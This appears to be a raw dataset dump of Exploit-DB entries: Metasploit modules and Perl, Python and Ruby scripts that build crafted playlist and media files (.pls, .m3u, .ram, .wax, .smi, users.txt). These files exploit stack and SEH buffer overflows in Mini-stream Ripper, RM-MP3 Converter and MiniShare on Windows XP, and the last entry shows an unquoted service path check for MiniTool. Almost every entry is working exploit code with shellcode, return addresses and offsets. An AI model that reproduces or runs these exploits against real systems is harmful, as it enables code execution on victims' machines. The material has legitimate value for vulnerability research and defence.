deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18082
Description: Mini-stream Ripper 3.0.1.1 - Local Buffer Overflow (Metasploit) (3)
Type: local
Platform: windows
Date: 2011-11-04
Author: Metasploit

Exploit:
##
# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
			'Description' => %q{
					This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
				By creating a specially crafted pls file, an an attacker may be able
				to execute arbitrary code.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'CORELAN Security Team ',
					'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
				],
			'Version' => '$Revision: 14155 $',
			'References' =>
				[
					[ 'OSVDB', '61341' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload' =>
				{
					'Space' => 3500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[
						'Windows XP SP3 ENG',
						{
							'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
							'Offset' => 17417
						}
					],
					[
						'Windows XP SP2 ENG',
						{
							'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
							'Offset' => 17417
						}
					]
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 25 2009',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
			], self.class)
	end


	def on_request_uri(cli, request)
		# Calculate the correct offset
		host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		host << ":#{datastore['SRVPORT']}/"
		offset = target['Offset'] - host.length

		# Construct our buffer
		sploit = rand_text_alpha(offset)
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << @p

		print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
	end

	def exploit
		@p = payload.encoded
		super
	end

end
Exploit-DB #11909
Description: Mini-stream Ripper 3.1.0.8 - Local Stack Overflow
Type: local
Platform: windows
Date: 2010-03-28
Author: Hazem mofeed

Exploit:
# Mini-stream Ripper 3.1.0.8 => Local stack overflow exploit
# Author: Hazem Mofeed
# Download: http://www.mini-stream.net/mini-stream-ripper/download/
# Home: http://hakxer.wordpress.com

# [BUFFER] + [ RET ] + [ RET ] + [SHELLCODE] --> Exploited ..
          # http://www.exploit-db.com/exploits/11607
shellcode = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"
   "\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
   "\x63\x2e\x65\x78\x65\x00") # SP3(sh)

# exploit
exploit = ("\x41" * 43496 +  "\x08\x6A\x83\x7C" + "\x08\x6A\x83\x7C" + shellcode )
file = open("exploit.smi","w")
file.write(exploit)
file.close()
Exploit-DB #8413
Description: Mini-stream RM-MP3 Converter 3.0.0.7 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-04-13
Author: Stack

Exploit:
#!/usr/bin/perl
# Mini-stream RM-MP3 Converter Version 3.0.0.7  .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x3D\x0C\x04\x02";    # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20; 
open(MYFILE,'>>Mini-stream-RM-MP3.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #11900
Description: Mini-stream RM-MP3 Converter 3.0.0.7 - '.pls' Universal Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-27
Author: mat

Exploit:
#!/usr/bin/perl
# Mini-stream RM-MP3 Converter Version 3.0.0.7 (.pls) Universal Stack Overflow Exploit
# Author: mat
# Mail: rahmat_punk@hotmail.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
my $buff="http://"."\x41" x 26117;
my $ret="\x3D\x0C\x04\x02";
my $nop="\x90" x 20; 
open(MYFILE,'>>mat.pls');
print MYFILE $buff.$ret.$nop.$shellcode;
close(MYFILE);
Exploit-DB #8633
Description: Mini-stream RM-MP3 Converter 3.0.0.7 - '.RAM' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
	Mini-stream RM-MP3 Converter 3.0.0.7 (.RAM) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ Mini-stream RM-MP3 Converter 3.0.0.7 ]........
	[Â»] Website:............[ http://mini-stream.net/ ].....................
	[Â»] Today:..............[ 07052009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

	[x] tested on "Windows XP SP2"... [:-)
	
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07]
Exploit-DB #14158
Description: Mini-stream RM-MP3 Converter 3.1.2.1 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-07-01
Author: Madjix

Exploit:
#By Madjix Dz8[at]hotmail[dot]com
#Greets: myself for find the bug :)
#
# Exploit-DB Notes:
# 000DBF98 41414141 AAAA
# 000DBF9C 41414141 AAAA
# 000DBFA0 41414141 AAAA
# 000DBFA4 41414141 AAAA Pointer to next SEH record
# 000DBFA8 41414141 AAAA SE handler
# 000DBFAC FFFFFFFF أ؟أ؟أ؟أ؟
# 000DBFB0 7C87F317 أ³â€،| kernel32.7C87F317
# 000DBFB4 90909090 آگآگآگآگ
# 000DBFB8 90909090 آگآگآگآگ
# 000DBFBC 90909090 
#
my $shellcode= "\xdb\xc0\x31\xc9\xbf\x7c\x16\
x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
my $jnk="\x41" x 43488 ;
my $nseh="\xeb\x06\x90\x90" ;
my $seh="\x17\xF3\x87\x7C" ;
my $nops = "\x90" x 24 ;

open(MYFILE,'>>MadjiX.m3u');
print MYFILE $jnk.$nseh.$seh.$nops.$shellcode;
close(MYFILE);
Exploit-DB #18113
Description: Mini-stream RM-MP3 Converter 3.1.2.1 - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-11-14
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
			'Description'    => %q{ 
				This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
				Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim 
				opens the malicious PLS file.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Madjix',           # original discovery
					'Tiago Henriques',  # metasploit module
					'James Fitts'       # clean ups
				],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
					[ 'BID', '34514' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space' => 1500,
					'BadChars' => "\x00\x09\x0a",
					'DisableNops' => 'True',
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[
						'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
						{
							'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
							'Offset' => 17417
						} 
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 16 2010',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)
	end

	def exploit

		pls =  "http://"
		pls << rand_text_alpha_upper(target['Offset'])
		pls << [target.ret].pack('V')
		pls << rand_text_alpha_upper(8)
		pls << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(pls)

	end

end
Exploit-DB #35377
Description: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - '.wax' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-11-26
Author: Muhamad Fadzil Ramli

Exploit:
#!/usr/bin/env ruby
# Exploit Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 (.wax) SEH Buffer Overflow
# Date: 26.11.2014
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>
# Vendor Homepage: not valid anymore
# Software Link: not available
# Version: 3.1.2.1.2010.03.30
# Discovery: ZoRLu / zorlu@milw00rm.com
# Tested on: Microsoft Windows XP [Version 5.1.2600]

filename = "3-1-2-1-gb.wax"

seh  = 43501
buff = "\x41" * 45000
nops = "\x90" * 16

# ./msfvenom -p windows/exec CMD=calc EXITFUNC=thread -b "\x00\x0a\x0d\x0c\x20" -e x86/shikata_ga_nai -f ruby
sc =
"\xbe\x97\xd4\x64\xe7\xda\xdf\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x72\x0e\x03\xe5\xda\x86\x12\xf5" +
"\x0b\xcf\xdd\x05\xcc\xb0\x54\xe0\xfd\xe2\x03\x61\xaf\x32" +
"\x47\x27\x5c\xb8\x05\xd3\xd7\xcc\x81\xd4\x50\x7a\xf4\xdb" +
"\x61\x4a\x38\xb7\xa2\xcc\xc4\xc5\xf6\x2e\xf4\x06\x0b\x2e" +
"\x31\x7a\xe4\x62\xea\xf1\x57\x93\x9f\x47\x64\x92\x4f\xcc" +
"\xd4\xec\xea\x12\xa0\x46\xf4\x42\x19\xdc\xbe\x7a\x11\xba" +
"\x1e\x7b\xf6\xd8\x63\x32\x73\x2a\x17\xc5\x55\x62\xd8\xf4" +
"\x99\x29\xe7\x39\x14\x33\x2f\xfd\xc7\x46\x5b\xfe\x7a\x51" +
"\x98\x7d\xa1\xd4\x3d\x25\x22\x4e\xe6\xd4\xe7\x09\x6d\xda" +
"\x4c\x5d\x29\xfe\x53\xb2\x41\xfa\xd8\x35\x86\x8b\x9b\x11" +
"\x02\xd0\x78\x3b\x13\xbc\x2f\x44\x43\x18\x8f\xe0\x0f\x8a" +
"\xc4\x93\x4d\xc0\x1b\x11\xe8\xad\x1c\x29\xf3\x9d\x74\x18" +
"\x78\x72\x02\xa5\xab\x37\xec\x47\x7e\x4d\x85\xd1\xeb\xec" +
"\xc8\xe1\xc1\x32\xf5\x61\xe0\xca\x02\x79\x81\xcf\x4f\x3d" +
"\x79\xbd\xc0\xa8\x7d\x12\xe0\xf8\x1d\xf5\x72\x60\xe2"

buff[seh-4,4] = "\xeb\x0e\x90\x90"
buff[seh,4] = [0x10031659].pack("V").force_encoding("utf-8")
buff[seh+4,nops.size] = nops
buff[seh+(4+nops.size),sc.size] = sc

File.open(filename,"wb") do |fp|
  fp.write(buff)
  fp.close
  puts "Exploit file created: #{filename} size: #{buff.size}"
end
Exploit-DB #18726
Description: Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2012-04-09
Author: SkY-NeT SySteMs

Exploit:
# Exploit Title : Mini-stream RM-MP3 Converter� V 3.1.2.2 Local Buffer
OverFlow
# Author : [SkY-NeT SySteMs]
# Software Link : [http://mini-stream.net/rm-to-mp3-converter/download/]
# Version : [3.1.2.2]
# Tested on : [Xp Sp 2]
# Category : Local
# Code : Python
# Email : [skynet-systems@hotmail.il.co]
# WebSite : [http://sskynetsystems.blogspot.com/]


# !/usr/bin/python

import os,sys

header= "http://."
junk= "\x41" * 17416 # [A]
ESP = "\x13\x44\x87\x7C" # 7C874413 FFE4 JMP ESP
NOPS = "\x90" * 16

ShellCode =(
"\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" 
"\x0e\xa8\x6e\x77\xce\x83\xee\xfc\xe2\xf4\x54\x86\xfe\xce" 
"\xa8\x6e\x17\x47\x4d\x5f\xa5\xaa\x23\x3c\x47\x45\xfa\x62" 
"\xfc\x9c\xbc\xe5\x05\xe6\xa7\xd9\x3d\xe8\x99\x91\x46\x0e" 
"\x04\x52\x16\xb2\xaa\x42\x57\x0f\x67\x63\x76\x09\x4a\x9e" 
"\x25\x99\x23\x3c\x67\x45\xea\x52\x76\x1e\x23\x2e\x0f\x4b" 
"\x68\x1a\x3d\xcf\x78\x3e\xfc\x86\xb0\xe5\x2f\xee\xa9\xbd"
"\x94\xf2\xe1\xe5\x43\x45\xa9\xb8\x46\x31\x99\xae\xdb\x0f"
"\x67\x63\x76\x09\x90\x8e\x02\x3a\xab\x13\x8f\xf5\xd5\x4a"
"\x02\x2c\xf0\xe5\x2f\xea\xa9\xbd\x11\x45\xa4\x25\xfc\x96" 
"\xb4\x6f\xa4\x45\xac\xe5\x76\x1e\x21\x2a\x53\xea\xf3\x35"
"\x16\x97\xf2\x3f\x88\x2e\xf0\x31\x2d\x45\xba\x85\xf1\x93" 
"\xc2\x6f\xfa\x4b\x11\x6e\x77\xce\xf8\x06\x46\x45\xc7\xe9" 
"\x88\x1b\x13\x9e\xc2\x6c\xfe\x06\xd1\x5b\x15\xf3\x88\x1b" 
"\x94\x68\x0b\xc4\x28\x95\x97\xbb\xad\xd5\x30\xdd\xda\x01" 
"\x1d\xce\xfb\x91\xa2\xad\xc9\x02\x14\xe0\xcd\x16\x12\xce")
file = open("test.m3u","w")
file.write(header+junk+ESP+NOPS+ShellCode)
file.close()
Exploit-DB #15403
Description: MiniShare 1.4.0 < 1.5.5 - 'users.txt' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-02
Author: Chris Gabriel

Exploit:
# Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability (users.txt)
# Date: 11/02/2010
# Author: Chris Gabriel
# Software Link: http://sourceforge.net/projects/minishare
# Version: 1.4.0 - 1.5.5
# Tested on: Windows XP SP3 EN
# CVE: 

# MessageBoxA TITLE=HAX TEXT=HAX WIN XP SP3 Shellcode
# \xbb\x48\x41\x58\x00\x53\x89\xe6\x31\xc0\x50\x56\x56\x50
# \xb8\xea\x07\x45\x7e\xff\xd0

# msfencoded MessageBoxA shellcode
# [*] x86/shikata_ga_nai succeeded with size 48 (iteration=1)
# \x33\xc9\xb1\x06\xda\xd2\xd9\x74\x24\xf4\x5b\xb8\x1f\xf9
# \xf2\x17\x83\xeb\xfc\x31\x43\x10\x03\x43\x0f\x1b\x07\xac
# \x67\x9a\xb0\xd3\x24\x95\xa7\xe5\x0a\xf5\x71\x50\xda\x4e
# \x97\x5b\x9f\xd0\x97\xb4

# ALPHA3.py x86 ascii uppercase ESP --input="shellcode-encoded"
# alpha3 encoded ascii uppercase MessageBoxA Shellcode
shellcode = (
"TYVTX10X41PZ41H4A4H1TA91TAFVTZ32PZNBFZDQE02D"
"QF0D13DJE1F4847029R9VNN0D668M194A0I5G5L2G3W3"
"M3Z19LN2A2Z1G0N2K0N4YK0JO9L9Q1S36403F0G3V2K1"
"Q9S123I1Y3N9R8M4E0G"
)

# 78 bytes till EIP
# 82 bytes till ESP
# 304 for payload
# EIP OVERWRITE
buff = "A" * 78
buff += "\x4b\x49\x48\x7e" #7E48494B JMP ESP in user32.dll win xp sp3
buff += shellcode

try:
 	f = open("users.txt",'w')
	f.write(buff)
	f.close()
	print "[+] Vulnerable file created!  Place the 'users.txt' file in the Minishare directory and run the program...\n" 
except:
	print "[-] Error occured!"
Exploit-DB #15406
Description: MiniShare 1.5.5 - 'users.txt' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-11-03
Author: Muhamad Fadzil Ramli

Exploit:
# Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability (SEH)
# Date: 11/03/2010
# Author: Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com
# Credit/Bug Found By: Chris Gabriel
# Software Link: http://sourceforge.net/projects/minishare
# Version: 1.4.0 - 1.5.5
# Tested on: Windows XP SP3 EN (VMWARE FUSION - Version 3.1.1)
# CVE: N/A
 
#! /usr/bin/env ruby
filename = 'users.txt'

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = ''
shellcode <<  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
shellcode << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
shellcode << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
shellcode << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
shellcode << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
shellcode << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
shellcode << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
shellcode << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
shellcode << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
shellcode << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
shellcode << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
shellcode << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
shellcode << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
shellcode << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
shellcode << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"

nearjmp = "\xe9\x98\xfe\xff\xff" # near jmp 168 bytes
nseh	= [0xfffff9eb].pack('V') # short jmp 7 bytes
seh		= [0x0040B145].pack('V') # ppr

junk1 	= "\x90" * (386 - (shellcode + nearjmp).length)
junk2	= 'B' * (1000 - (junk1 + shellcode + nearjmp + nseh + seh).length)

# [nops][ shellcode][near jmp][nseh (short jmp)][seh (pop pop ret)][junk2]
# (3)^                (2)^_______|_______| ^                |(1)
#    |___________________________|         |________________|

xploit = junk1 + shellcode + nearjmp + nseh + seh + junk2

File.open(filename,'w') do |fd|
	fd.write xploit
	puts "file size	: #{xploit.length.to_s}"
end
Exploit-DB #50859
Description: MiniTool Partition Wizard - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-11
Author: Saud Alenazi

Exploit:
# Exploit Title: MiniTool Partition Wizard - Unquoted Service Path
# Date: 07/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.0
# Tested: Windows 10 Pro x64 es

# PoC :

C:\Users\saudh>sc qc MTSchedulerService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : MTSchedulerService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\saudh>icacls "C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe"

C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                           BUILTIN\Administrators:(I)(F)
                                                           BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files